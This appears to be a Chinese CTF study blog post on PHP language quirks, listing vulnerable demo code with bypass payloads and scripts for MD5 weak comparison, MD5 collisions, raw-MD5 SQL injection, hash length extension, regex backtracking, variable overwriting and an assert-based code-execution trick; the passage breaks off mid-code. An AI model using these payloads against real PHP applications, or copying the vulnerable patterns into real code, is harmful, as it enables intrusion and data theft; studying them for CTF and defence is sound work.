php部分特性漏洞学习

news2024/11/15 18:00:32

php部分函数漏洞学习

简单总结一些我遇到的ctf中的php的一些函数或特性的漏洞,我刷题还是太少了,所以很多例子来自ctfshow,以后遇到相关赛题再更新

1.MD5和其他hash

弱类型比较

php中,有两中判断相等的符号,=====,前者是弱类型,只要值相等即可,后者是强比较,需要类型和值都相等

在弱类型比较中,如果是字符串和数字判断,会把字符串转为数字再来判断是否相等,转换规则如下:

当一个字符串当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.',‘e’,'E’并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0

 <?php
 var_dump("admin"==0);  // admin开始不为数字,转为0   true
 var_dump("1admin"==1); // 1admin开始为数字1,转为1  true
 var_dump("admin1"==1) //admin1开始不为数字,转为0    false
 var_dump("admin1"==0) //admin1开始不为数字,转为0    true
 var_dump(NULL==0)     //true
 var_dump(0==false);   //true
 var_dump(NULL==false);   //true
 var_dump("0e123456"=="0e4456789"); //true 
 ?> 

最后一个var_dump("0e123456"=="0e4456789"),在比较时,双方都被转为数字,由于有e,所以会被看成 0123456和04456789,结果都是0,自然相等

这个特性常被用于MD5函数的绕过

==

<?php
$a='';
$b='';
if ($a!=$b &&md5($a)==md5($b))
  echo 'yes!';
?>

如何输出yes?,这里是==只要a和bmd5后,是0e开头,且后面是纯数字即可,网上可以找到很多,也可以用脚本去跑

import multiprocessing
import hashlib
import random
import string
import sys

# 定义字符集,包括大小写字母和数字
CHARS = string.ascii_letters + string.digits

def my_required(value,str_len):
    """自定义函数,用于检查MD5哈希值是否满足特定要求"""
    # 生成0e开头,后面为纯数字
    # 将MD5哈希值去掉前两位,检查后面的字符是否都是数字
    new_value = value[str_len:]
    for i in new_value:
        if ord(i) >= 30 and ord(i) <= 57:
            continue
        else:
            return False
    return True


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    """比较MD5哈希值的函数"""
    global CHARS
    while not stop_event.is_set():
        # 生成随机字符串
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        # 计算MD5哈希值
        md5 = hashlib.md5(rnds.encode('utf8'))
        value = md5.hexdigest()
        # 检查哈希值是否满足条件并输出
        if value[start: start + str_len] == substr:
            print(rnds)
            print(value)
            # 设置停止事件,停止其他进程
            stop_event.set()


if __name__ == '__main__':
    # 从命令行参数获取目标MD5哈希值的子字符串和搜索起始位置
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    # 获取计算机CPU核心数
    cpus = multiprocessing.cpu_count()
    # 创建一个事件对象来协调进程之间的停止
    stop_event = multiprocessing.Event()
    # 创建多个进程,每个进程运行cmp_md5函数以搜索满足条件的字符串
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos))
                 for i in range(cpus)]
    # 启动所有进程
    for p in processes:
        p.start()
    # 等待所有进程完成
    for p in processes:
        p.join()

用法是py md5.py 0e 0,也可以搜索其他开头的md5字符串,网上有很多md5后0e的,如

PM1kVTMBEq1OHI4WE4Hm
MMHUWUV 
MAUXXQC 
IHKFRNS 
GZECLQZ 
GGHMVOE 
GEGHBXL 
EEIZDOI
DYAXWCA
240610708

===

<?php
$a='';
$b='';
if ($a!=$b &&md5($a)===md5($b))
  echo 'yes!';
?>

这里的a和bMD5后是强比较,不会转化类型,用0e的话由于两个字符串不相等无法绕过,可以把a和b设为数组,md5无法处理数组,就会返回NULL,NULL和NULL就是强相等的,如果要get传递,传a[]=1&b[]=2即可

strings强转

<?php
highlight_file(__FILE__);
$a=(string)$_GET['a'];
$b=(string)$_GET['b'];
var_dump($a);
if ($a!=$b &&md5($a)===md5($b) )
{
    echo 'yes!';
}
?>

这里把a和b都强制转为了字符串,数组过不了前面的条件,只能利用md5的缺陷,用fastcoll工具碰撞出md5值相同的但本身不同的字符串 即可

用法:先新建一个txt,里面写入任意字符串,然后把这个txt拖到fastcoll即可,就会生成两个文本文件,里面分别就是值不同但md5相同的字符串

在这里插入图片描述

再用一个php脚本输出这两个值的url编码,传给a,b即可

<?php 
function readmyfile($path){
 $fh = fopen($path, "rb");
 $data = fread($fh, filesize($path));
 fclose($fh);
 return $data;
}
$a = urlencode(readmyfile("test_msg1.txt"));
$b = urlencode(readmyfile("test_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo "a=".$a;
}
echo "\n";
if(urldecode($a)!=urldecode($b)){
echo "b=".$b;
}

!在这里插入图片描述

在这里插入图片描述

三个md5值相同的字符串



%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

如果限制了a和b的长度,还有一种方法,利用浮点数的小数点精度问题,string强转后会构造出相同的字符串

在这里插入图片描述

具体利用如下

在这里插入图片描述

浮点数a的小数点位数超过了精度14,所以在转为字符串时精度会丢失,中间的0被舍去,最后被用来md5时,就是字符串"0.5"

生成md5相同的图片

这个网上就有两张相同的,https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value,也可以用fastcoll碰撞

 .\fastcoll_v1.0.0.5.exe .\0.jpg -o 1.jpg 2.jpg

0.jpg是自己先随便准备一个,然后就会生成md5相同的1.jpg和2.jpg

a==md5(a)

这就要求自己是0e,且md5后还是0e,上网找到两个

0e215962017
0e251288019

NULL也是可以被md5的,当md5(a)==md5(md5(b))时,可以把a设为NULL,b设为数组

双MD5后0e

CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

MD5sql注入

demo

<?php include 'conn.php'; 
highlight_file(__file__); 
if (isset($_GET['user']))
 { 
    $query = "SELECT flag FROM here_is_flag WHERE password = '" . md5($_GET["user"],true) . "'"; 
    $result = $conn->query($query); 
    $row = $result->fetch_assoc(); 
    var_dump($row); 
    $result->free(); 
    $conn->close(); 
} 
else{ 
    echo "Please input the user!<br>"; 
    }

md5函数第二个参数设为true时,会把得到的32为十六进制字符串转为ascii字符串,如果能构造出 类似abc’ or '6就能造成sql注入,查询出flag

网上找了两个

129581926211651571912466741651878684928
ffifdyop

在这里插入图片描述

利用原生类绕过hash比较

Exception Error 类都有toString方法,这两类对象被用来hash就会触发该方法,若能控制相同的返回值,就能使hash值相同

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

demo

<?php include 'conn.php'; 
highlight_file(__file__); 
class Test {
    public $var1;
    public $var2;
    function __destruct(){
        var_dump(md5($this->var1));
        echo "<br>";
        var_dump(md5($this->var2));
        if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ){
            eval($this->var1);
           }
    }
}
 unserialize($_GET['test']);
?>

在这里插入图片描述

可以看到,Error类的toString方法返回的字符串,与构造时输入的字符串和对象生成的行号有关,因此只要在同一行生成,输入同样的字符串,哈希处理时就能得到相同的结果,同时第二个参数不相同,这两个对象也会不同,如

在这里插入图片描述

现在绕过了hash的相等判断,但是很明显,toString返回的字符串中很多杂质,无法被eval执行

首先是代码前的Error: ,可以用?>闭合,然后再用<?php<?=开启一个新的php代码段,结尾用?>闭合或者 __halt_compiler();提前结束执行php代码

在这里插入图片描述

记得要url编码,然后传过去即可

哈希长度拓展

表现:

知道一个原消息哈希值Hash(key+M1)及其(key+M1)长度,一般来说M1是我们已知的明文或者可以控制或者没有,key只知道长度,所以key+M1的长度都是已知的,那么对于任意的字符串M2,我们可以计算出Hash(pad(key∥M1) + M2)的值,而不需要知道是key及M1是多少,

所以要知道一个原始消息hash值,和密钥长度,然后弄清楚原始消息的结构(什么是key,什么是M1),以及我们要加入什么拓展字符,

具体原理不好叙述,可以看这篇大佬的文章学习 https://xz.aliyun.com/t/10602

以一道题为例子,

访问/路由获得源码

# encoding=utf-8

from flask import Flask, request
import hashlib
import urllib.parse
import os
import json
# flag is in flag.txt
app = Flask(__name__)
secret_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if self.checkSign():
            if "scan" in self.action:
                resp = scan(self.param)
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print(resp)
                    self.append_to_file(resp)  # Append content to an existing file
                result['code'] = 200
            if "read" in self.action:
                result['code'] = 200
                result['data'] = self.read_from_file()  # Read from an existing file
        if result['code'] == 500:
            result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if get_sign(self.action, self.param) == self.sign:
            return True
        else:
            return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.parse.unquote(request.args.get("param", ""))
    action = "scan"
    return get_sign(action, param)

def get_sign(action, param):
    return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest()

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.parse.unquote(request.cookies.get("action"))
    param = urllib.parse.unquote(request.args.get("param", ""))
    sign = urllib.parse.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if waf(param):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt", "r").read()

def scan(param):
    try:
        with open(param, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return "The file does not exist"

def md5(content):
    return hashlib.md5(content.encode()).hexdigest()


def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run()

思路:

这题如果要读取flag.txt,action要是scanread,先scan把flag.txt的内容存到一个文件中,再scan读出来,程序会校验sign值,正确才能读取

要读取flag.txt,需要计算md5(key+‘flag.txt’+‘scan’+‘read’),

正常的访问/genSign,返回的是md5(key+param+scan),如果param为空,返回的就是md5(key+scan),scan算是已知明文,但我们需要计算md5(key+‘flag.txt’+‘scanread’), ,就算计算了md5(key+‘scan’+‘ext’),也只能和md5(key+‘scan’)相等(哈希长度拓展攻击的表现形式),不能和md5(key+‘flag.txt’+‘scanread’)相等

因此这里要把key+'flag.txt’看作key,长度为16+8=24。那么在访问/geneSign时就要传param=flag.txt,返回就是hash(keyflag.txt+‘scan’),后面追加上

read即可

使用工具Hashpump,生成新的哈希值,要输入密钥长度,原始明文,还有你要追加的拓展字符,然后生成我们真正要在后面追加的ext

先去获得已知的hash值,访问/genSign?param=flag.txt,得到md5(key+flag.txt+scan)

在这里插入图片描述

Hashpump现在github好像搜不到了,可以用这个工具代替,https://github.com/shellfeel/hash-ext-attack

在这里插入图片描述

把需要的数据发送过去,获得flag,拓展的数据记得url编码一下

在这里插入图片描述

其他

1.md4后是0e的字符串

0e001233333333333334557778889
0e00000111222333333666788888889

2.sha1后是0e的字符串

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112

2.intval

这个大佬的文件讲的很详细,https://blog.csdn.net/wangyuxiang946/article/details/131156104

记录一下目前遇到的考点

科学表达式字符串

php<7.2.25时,intval函数不能正常解析字符串形式的科学表达式,会返回底数,如

<?php 
var_dump(intval(1e2));  #返回100
var_dump(intval('1e2'));#返回1
?>

demo:

<?php 
highlight_file(__FILE__);
$num=$_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
    echo "good!";
}else{
    die("no!");
}
?>

给num传1e4,intval( n u m ) 解析字符串 ‘ ′ 1 e 4 ′ ‘ 返回 1 ,过第一个条件,后面的是 num)解析字符串`'1e4'`返回1,过第一个条件,后面的是 num)解析字符串1e4返回1,过第一个条件,后面的是num+1,数字和字符串相加,php会把字符串转为数字再相加,所以这是就会被解析为10000,从而过第二个条件

数组

demo

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
?>

正常来说,字符串被一般intval转化都是0,就算转为非0,要在字符串开头含有数字,无法绕过正则

但是这里可以传数组,intval处理数组会返回数字1,传?num[]=1即可

自动进制转换

intval函数第二个参数$base如果被设为0,此时会根据传入数字或字符串的格式,自动判断读取的数字的进制,判断方法如下

进制格式
160x开头
80开头
10正常

var_dump(intval('0x64',0));
var_dump(intval('0144',0));
var_dump(intval('100',0));
#结果都是100

浮点数处理

intval转换浮点数,有小数位会直接把小数位去掉,没有四舍五入,如intval(3.9)=3intval(‘+0x64’,0)=100,数字前可以加+不影响解析

3.preg_match正则

换行绕过

绕过.

类似于preg_match('/^.*(flag).*$/',$a)在关键词前后+了.,可以使用换行符%0a,绕过检测,.不匹配换行符

在这里插入图片描述

绕过$

$是匹配文本结束的字符,会忽略结尾的换行

在这里插入图片描述

preg_replace也可以用同样的方法来绕过

还有个ctfshow的例子

在这里插入图片描述

这个是/m修饰符会开启多行匹配,以换行符分割各行,有一行符合就返回true

反正看到类似^关键词$,就在关键词周围+换行就行

最大回溯绕过

p神的文章原理讲的很详细,https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

php的正则回溯次数是1000000,超过这个次数就会返回false

这里简单记录一下大概什么时候可以用这个绕过,感觉不止是回溯,似乎往前寻找的次数超过了限制也能触发

*在关键词左右使用了贪婪匹配 或 +

demo

<?php
error_reporting(0);
include 'flag.php';
if (isset($_POST['Y'])){
    $N = (string)$_POST['Y'];
    if (preg_match('/.*myon/is', $N))
     {
    die("相见很容易");
    }
    if (stripos($N, 'swctfmyon') === FALSE)
     {
    die("再见却很难");
     }
    else
    {
    echo $flag."\n";
    var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);//检测最后一次正则表达式操作中的错误是不是回溯次数超出了限制
    }
    }
?>

这里要求字符串中有swctfmyonsnert,却不能有myon,在myon前有.*,如果放1000000个其他字符a,让php正则往后寻找次数超过限制,也是可以的

在这里插入图片描述

其他:

preg_match无法处理数组,直接传数组会返回false,strcmp以及其他处理字符串的函数也无法处理数组,会返回NULL或false,

而对于strcmp,在如果比较的两个字符串相等也是返回0,使用弱类型比较会造成漏洞

常见的处理字符串的函数

函数功能
stripos用于查找字符串中第一次出现子字符串的位置(不区分大小写)查找不到返回false
strpos类似stripos,但 strpos 是区分大小写的
strcmp比较两个字符串,相同返回0
stristr用于在字符串中查找首次出现的子字符串(不区分大小写),并返回该子字符串及其后面的所有内容。如果没有找到子字符串,则返回 false

4.变量覆盖

在PHP中,符号表(Symbol Table)是一个内部数据结构,用于跟踪当前脚本中定义的变量和它们的值。在PHP脚本执行期间,符号表记录了所有已经声明的变量及其对应的值,并且可以动态地添加、修改和删除这些变量。

extract

PHP extract() 函数用于将数组中的键作为变量名,将对应的值作为变量值导入到当前程序的符号表中

extract()导入变量名和值时,如果原来已经存在相同的变量名,那么旧的值会被数组中同名的健对应的值替换掉

demo:

<?php
// 用户通过表单提交了一些数据,例如:
$hobby='play';
// 为了方便,直接使用 extract() 函数将 $_GET 数据导入到当前符号表中,以便后续使用
extract($_GET);
echo "用户: ".$name." 性别: ".$sex."<br>";
echo "your hobby is $hooby";
?>

可以看到,本来hobby的值为play,可以是我们通过get方式传入一个同名变量,使值为study,play就会被study覆盖,如:

在这里插入图片描述

parse_str

解析字符串,如果字符串中含有类似a=b字符串,就会把$a=b导入到符号表中,可能会覆盖已有变量的值

如:

在这里插入图片描述

$$

demo:

<?php
$a=0;
foreach ($_GET as $key => $value) {
    $$key=$value;
}
echo $a;
 ?>

foreach遍历$GET数组,如果get传同名变量?a=10,在$$key=$value中,会先解析$key为a,然后就会变为$a=10,从而覆盖掉原来a的值

ctfshow也有个题

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
# $suces=$flag
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    #error=$suces
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

跟demo不同,foreach右边也用了$ ,只能通过 ‘ d i e ( ,只能通过`die( ,只能通过die(error);`输出信息,所以看能不能通过覆盖把$error覆盖为flag,

在foreach $_POST的数组中,检测了value有没有flag,所以不能直接覆盖,需要绕一下,根据检测的值反着来即可,

get传 suces=flag,就可以把suces覆盖为flag

post再传 error=suces ,再把suces的值覆盖为flag即可

import_request_variables

这个函数会把 GET/POST/Cookie 变量导入到全局作用域中,如果程序中已经有同名变量,会造成覆盖

5.is_file&&require_once

这个也是来自ctfshow的一个题目:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 
?>

可以直接用compress.zlib://flag.php读取文件,还学到了一个方法,不断重复/proc/self/root使得is_file返回false,简单来说就是这个函数在解析文件路径时是递归调用的,又因为/proc/self是符号链接,所以要不断递归解析到对应的文件路径,要用符号链接,这个递归层数是有限制的,最高为40,**所以只要/proc/self/root重复超过40次即可,**payload:

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

具体的绕过原理可看这位大佬的文章

https://www.anquanke.com/post/id/213235

require_once或include_once都是只包含一次文件的的,也可以尝试用这个绕过

6.is_numeric&trim

is_numeric是检测传入参数字符串是否是数字,但是在php5中传入符合进制数字的字符串也会返回true,如

var_dump(is_numeric("0x123"));
var_dump(is_numeric("0123"));

在php5中都返回true,但在php7都会返回false

而且is_numeric有一些特殊字符是会忽略的的,如%0C(\f) %2B(+) - . %20(空) ,数字字符串里带上这些会true

trim函数也不会清除\f,即%0C

7.转换变量字符

php的变量只允许数字字母和下划线组成,通过get或post传的变量中如果有非法字符会被自动转化为_但是这种转化只会发生一次,如果变量名中有两个非法字符,只会转化第一个

在这里插入图片描述

但是特殊符号不能放开头,而且居然不会转化{},经过测试,通过get或post传会被转化_的字符有%20 . + [这四个字符

8.$_SERVER[‘argv’]

使用$_SERVER['argv']这个参数需要 php.ini中register_argc_argv=on(默认为off),这个配置开启时,通过web服务传递的参数可以被解析为命令行参数,存放在$_SERVER[‘argv’]中,这如:

在这里插入图片描述

可以看到,argc存放的是参数个数,argv数组存放了所有的参数,而且各个参数之间通过 + 分割,当然放$_GET$_POST数组的参数还是按 & 分割的,

感觉这个部分的主要利用还是在pearcmd包含,ctfshow还有一个demo

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
    else
    {
        echo 'think more!';
    }
} 
else{
    echo '注意传参!';
}
?>

首先是变量字符转换,要正常传CTF_SHOW.COM,需要传CTF[SHOW.COM,提前让php转化非法字符

其次是如何让$fl0g==="flag_give_me",尤其在!isset($_GET['fl0g']的情况下

这时就可以利用$a=$_SERVER['argv'],get传?$fl0g=flag_give_me,那么就是a就是 f l 0 g = f l a g g i v e m e 这个字符串,把 c 赋值为 a s s e r t 把这个字符串当作 p h p 代码执行,就能把 fl0g=flag_give_me这个字符串,把c赋值为assert把这个字符串当作php代码执行,就能把 fl0g=flaggiveme这个字符串,把c赋值为assert把这个字符串当作php代码执行,就能把fl0g导入进来,拿到flag,payload

get:  ?$fl0g=flag_give_me
post: CTF_SHOW=1&CTF[SHOW.COM=2&fun=assert($a[0])		

php5不能执行assert,php7可以

9.gettext&get_defind_vars

这个也是来自ctfshow

php的gettext()函数就是返回你传入的参数,什么也不干,安装了gettext拓展后,使用 _() 就相当于 gettext() 这个别名在php5成功能使用,但我在php7.4失败了

get_defind_vars可以获取当前定义的变量和一些超全局变量,这个函数在无参数rce时也常用

demo:

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

flag变量就在flag.php中,而且有call_user_func函数的套娃,想起了xyctf的call_user_func参数的套娃,🤣

传f1为_绕过正则,f2传get_defind_vars,第一次call_user_func( f 1 , f1, f1,f2)就返回get_defind_vars,然后再call_user_func第二次成功调用,打印出flag变量

其他

=优先于 & |

demo

在这里插入图片描述

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);,由于赋值预算比其他运算优先级高,所以v0先被is_numeric($v1)赋值了,后面的不会影响v0的值

json_decode

也是从一道题学习而得知,https://buuoj.cn/challenges#[HarekazeCTF2019]encode_and_encode

php处理json会自动解析unicode编码,但是8进制或16进制无法处理,因此可以用来绕过黑名单

题目实战

nssctf funmd5

<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
    $sub=substr($time,-1);
    $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
    if(preg_match('/0e/',$md5[0])){
        $md5[0]=substr($md5[0],$sub);
        if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
            echo "well!you win again!now flag is yours.<br>";
            echo $flag;
        }
        else{
            echo $md5[0];
            echo "oh!no!maybe you need learn more PHP!";
        }
    }
    else{
        echo "this is your md5:$md5[0]<br>";
        echo "maybe you need more think think!";
    }
}
else{
    highlight_file(__FILE__);
    $sub=strlen($md5[0]);
    echo substr($guessmd5,0,5)."<br>";
    echo "plase give me the md5!";
}
?>
4b257
plase give me the md5!

要传一个数组$md5,第一个元素要$md5[0]==md5($md5[0],所以选取字符串0e215962017,因为正则里用的是^(.*),所以用%0a绕过即可,但是绕过之后字符串中有了%0a导致md5值发生变化,此时就要看$sub=substr($time,-1),如果选在时间戳最后一位为1的时间请求,那么$md5[0]=substr($md5[0],$sub);这样截取的md5[0]就是正常的0e字符串了

至于$md5[1],他要与时间戳的md5相等,跑个脚本一直发送即可

exp

import hashlib,time,requests
def try():
    while True:
        url = f"http://node5.anna.nssctf.cn:29502/?md5[0]=%0a0e215962017&md5[1]={str(hashlib.md5(str(int(time.time())).encode()).hexdigest())}"
        resp = requests.get(url=url)
        if "win" in resp.text:
            print(resp.text)
            return
        time.sleep(1)
try()

在这里插入图片描述

newstarctf begin of php

源码

<?php
if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}
if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}
if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
